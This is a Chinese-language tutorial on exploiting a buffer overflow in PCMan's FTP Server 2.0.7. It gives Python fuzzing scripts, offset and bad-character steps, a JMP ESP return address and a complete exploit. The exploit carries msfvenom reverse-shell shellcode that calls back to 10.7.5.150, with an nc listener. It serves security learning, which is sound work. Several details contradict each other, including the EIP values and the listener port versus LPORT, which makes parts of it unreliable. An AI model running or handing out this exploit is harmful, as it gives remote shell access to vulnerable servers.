PCMan’s FTP Server缓冲区溢出分析与利用
知识大部分来源于学长Tao’s Blog
简单原理
简单的来说,如果我们输入的数据长度超过了开发人员定义的缓冲区,那么这个数据就可以覆盖掉关键的寄存器,如EIP,EIP是指令寄存器,它存放当前指令的下一条指令的地址。如果它被来自用户输入的垃圾数据覆盖了,程序通常会崩溃,因为它跳转到的地址并尝试指向,但执行的并不是有效的指令。我们的目的就是要定制一个数据发送到程序覆盖EIP,使程序跳转到我们控制的位置,这样我们就可以执行shellcode了
查找缓冲区溢出
模糊测试(Fuzzing)
因为我们要完成一次缓冲区溢出测试,因此我们现在就需要知道哪里会发生缓冲区溢出,这里我们就需要进行模糊测试(fuzzing),现在我们需要发送不同长度和内容的自定义字符串到我们要测试的输入点,如果程序崩溃,那么我们就使用调试工具调查一下为什么会崩溃,可不可以利用,这里我们以
PCMan’s FTP Server 2.0.7
为例子
首先来测试一下用户名这个输入点有没有存在问题。
#!/usr/bin/env python
import sys
import socket
# 通过调用程序后面的第一个参数得到IP地址
host = sys.argv[1]
# 通过调用程序后面的第二个参数目标的端口,转换成int类型
port = int(sys.argv[2])
# 设置初始字符数列为100
fuzz = 100
while True:
try:
# 创建套接字
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 进行连接,connect参数为元组
s.connect((host, port))
s.settimeout(2)
# 对用户名变量进行溢出测试
s.send("USER" + "A"*fuzz)
s.recv(1024)
s.send("PASS Sheng")
s.recv(1024)
print "Send str length: " + str(fuzz)
# 步长
fuzz += 100
except Exception,err:
print "End..., Send str length: " + str(fuzz)
sys.exit()
finally:
s.close()
打开
Immunityinc debugger
,然后File->Attach
(首先要确保FTP程序已经在运行)
此时程序已经加载进来,是暂停状态, 我们使用快捷键
F9
让程序跑起来,也可以使用菜单栏的运行按钮
当程序处于
Running
状态的时候,我们再一次运行fuzzing.py
脚本。
查找偏移量(Finding the offset)
使用
Metasploit
的pattern_create工具创建一个500大小的字符串
通过上面的测试,大概判断溢出字符在2000-2100
, 那么我们填写'A' * 1900 + "工具生成字符"
构成payload发送至FTP服务端
#!/usr/bin/env python
import sys
import socket
host = sys.argv[1]
port = int(sys.argv[2])
fuzz = 2000
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send("USER" + "A"*fuzz + payload)
s.recv(1024)
print "Send str length: " + str(fuzz)
except Exception,err:
print "End..., Send str length: " + str(fuzz)
sys.exit()
finally:
s.close()
EIP
寄存器的值是0x64413564
, 为了计算这个值偏移量,我们使用Metasploit中的另一个工具pattern_offset
来确定字节数
./pattern_offset.rb -l 500 -q 61413161
# -q参数为要查询的地址,-l参数为要查询的字符序列的长度
# 上图中我们得出的地址是 0x61413161, 而生成的字符串长度为500, 因此这里使用 -l 500 -q 61413161
计算结果为4
, 也就是说覆盖返回地址是在[2005-2009]
这四个字节
验证
#!/usr/bin/env python
import sys
import socket
host = sys.argv[1]
port = int(sys.argv[2])
fuzz = 2004
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send("USER" + "A"*fuzz + "B"*4)
s.recv(1024)
print "Send str length: " + str(fuzz)
except Exception,err:
print "End..., Send str length: " + str(fuzz)
sys.exit()
finally:
s.close()
发现EIP(程序返回地址)
被我们上面的4个B给覆盖了,到这一步,我们已经可以精确的覆盖EIP
了
寻找shellcode位置
在上面程序pyload后面加100个C,然后执行
#!/usr/bin/env python
import sys
import socket
host = sys.argv[1]
port = int(sys.argv[2])
fuzz = 2004
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send("USER" + "A"*fuzz + "B"*4 + "C"*100)
s.recv(1024)
print "Send str length: " + str(fuzz)
except Exception,err:
print "End..., Send str length: " + str(fuzz)
sys.exit()
finally:
s.close()
可以看到,这里ESP指向的是我们在EIP后面给的
100个C
, 现在我们是要将C替换成我们希望运行的Shellcode。然后让EIP跳转到ESP寄存器的位置
查看可存放shellcode的位置大小
#!/usr/bin/env python
import sys
import socket
host = sys.argv[1]
port = int(sys.argv[2])
fuzz = 2004
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send("USER" + "A"*fuzz + "B"*4 + "C"*1000)
s.recv(1024)
s.send("PASS Sheng")
s.recv(1024)
print "Send str length: " + str(fuzz)
except Exception,err:
print "End..., Send str length: " + str(fuzz)
sys.exit()
finally:
s.close()
发现足够容纳shellcode的大小(普通的shellcode大小为300-400字节)
查找坏字符
- 不同类型的程序,协议,漏洞,会将某些字符认为时坏字符,这些字符有固定用途
- 返回地址、Shellcode、butter中都不能出现坏字符
- NULL byte
0x00
表示字符串的结束 - renturn
0x0D
表示换行,表示命令输入完成 0x0A
表示回车
- 查找坏字符思路: 发送(
0x00
–0xff
)256个字符,查找所有坏字符
#!/usr/bin/env python
import sys
import socket
host = sys.argv[1]
port = int(sys.argv[2])
fuzz = 2004
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00"
)
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send("USER" + "A"*fuzz + "B"*4 + badchars)
s.recv(1024)
print "Send str length: " + str(fuzz)
except Exception,err:
print "End..., Send str length: " + str(fuzz)
sys.exit()
finally:
s.close()
发现坏字符之后
0x0a
重定向数据流
- 用ESP地址代替EIP的值,但是ESP地址是变化的,不能一直按照同一个地址进行编码
- 思路:
- 在内存地址中寻找固定的系统模块
- jmp esp是汇编语言,转成十六进制可以使用
nasm_shell.rb
- 在模块中寻找
JMP ESP
指令的地址跳转,再由该指令间接跳转至ESP,从而执行shellcode
使用
Immunityinc debugger
在程序的dll
中找到具有JMP ESP
命令的内存地址
#!/usr/bin/env python
import sys
import socket
host = sys.argv[1]
port = int(sys.argv[2])
fuzz = 2004
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
s.settimeout(2)
s.send("USER" + "A"*fuzz +"\x7b\x46\x86\x7c" + "C"*500 )
s.recv(1024)
print "Send str length: " + str(fuzz)
except Exception,err:
print "End..., Send str length: " + str(fuzz)
sys.exit()
s.close()
这里我们选择
kernel32.dll
进行搜索, 搜索JMP ESP命令
这里返回的内存地址为
0x7C86467B
, 这个地址没有坏字符,我们可以来利用(坏字符是会破坏我们漏洞的字符,如0x00
),因为这里我们是小端显示,所以构造shellcode的时候需要倒过来写!
按
F7
执行下一步
生成shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.7.5.150 LPORT=1234 EXITFUNC=thread -f python -b "\x00\x0a\x0d" -a x86
# -b "\x00\x0a\x0d" 去掉坏字符
#!/usr/bin/env python
import sys
import socket
buf = b""
buf += b"\xdd\xc1\xd9\x74\x24\xf4\x58\xbb\x23\x98\x46\x1c\x29"
buf += b"\xc9\xb1\x52\x31\x58\x17\x83\xc0\x04\x03\x7b\x8b\xa4"
buf += b"\xe9\x87\x43\xaa\x12\x77\x94\xcb\x9b\x92\xa5\xcb\xf8"
buf += b"\xd7\x96\xfb\x8b\xb5\x1a\x77\xd9\x2d\xa8\xf5\xf6\x42"
buf += b"\x19\xb3\x20\x6d\x9a\xe8\x11\xec\x18\xf3\x45\xce\x21"
buf += b"\x3c\x98\x0f\x65\x21\x51\x5d\x3e\x2d\xc4\x71\x4b\x7b"
buf += b"\xd5\xfa\x07\x6d\x5d\x1f\xdf\x8c\x4c\x8e\x6b\xd7\x4e"
buf += b"\x31\xbf\x63\xc7\x29\xdc\x4e\x91\xc2\x16\x24\x20\x02"
buf += b"\x67\xc5\x8f\x6b\x47\x34\xd1\xac\x60\xa7\xa4\xc4\x92"
buf += b"\x5a\xbf\x13\xe8\x80\x4a\x87\x4a\x42\xec\x63\x6a\x87"
buf += b"\x6b\xe0\x60\x6c\xff\xae\x64\x73\x2c\xc5\x91\xf8\xd3"
buf += b"\x09\x10\xba\xf7\x8d\x78\x18\x99\x94\x24\xcf\xa6\xc6"
buf += b"\x86\xb0\x02\x8d\x2b\xa4\x3e\xcc\x23\x09\x73\xee\xb3"
buf += b"\x05\x04\x9d\x81\x8a\xbe\x09\xaa\x43\x19\xce\xcd\x79"
buf += b"\xdd\x40\x30\x82\x1e\x49\xf7\xd6\x4e\xe1\xde\x56\x05"
buf += b"\xf1\xdf\x82\x8a\xa1\x4f\x7d\x6b\x11\x30\x2d\x03\x7b"
buf += b"\xbf\x12\x33\x84\x15\x3b\xde\x7f\xfe\x4e\x18\x7a\x90"
buf += b"\x26\x24\x84\x7d\xe6\xa1\x62\x17\x18\xe4\x3d\x80\x81"
buf += b"\xad\xb5\x31\x4d\x78\xb0\x72\xc5\x8f\x45\x3c\x2e\xe5"
buf += b"\x55\xa9\xde\xb0\x07\x7c\xe0\x6e\x2f\xe2\x73\xf5\xaf"
buf += b"\x6d\x68\xa2\xf8\x3a\x5e\xbb\x6c\xd7\xf9\x15\x92\x2a"
buf += b"\x9f\x5e\x16\xf1\x5c\x60\x97\x74\xd8\x46\x87\x40\xe1"
buf += b"\xc2\xf3\x1c\xb4\x9c\xad\xda\x6e\x6f\x07\xb5\xdd\x39"
buf += b"\xcf\x40\x2e\xfa\x89\x4c\x7b\x8c\x75\xfc\xd2\xc9\x8a"
buf += b"\x31\xb3\xdd\xf3\x2f\x23\x21\x2e\xf4\x43\xc0\xfa\x01"
buf += b"\xec\x5d\x6f\xa8\x71\x5e\x5a\xef\x8f\xdd\x6e\x90\x6b"
buf += b"\xfd\x1b\x95\x30\xb9\xf0\xe7\x29\x2c\xf6\x54\x49\x65"
# "\x90" * 30 30个无操作符
payload = "A" * 2004 + "\x7b\x46\x86\x7c" + "\x90" * 30 + buf
host = sys.argv[1] # receive IP
port = int(sys.argv[2]) # receive port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("USER " + payload)
s.recv(1024)
本地监听4455端口
nc -vlp 4455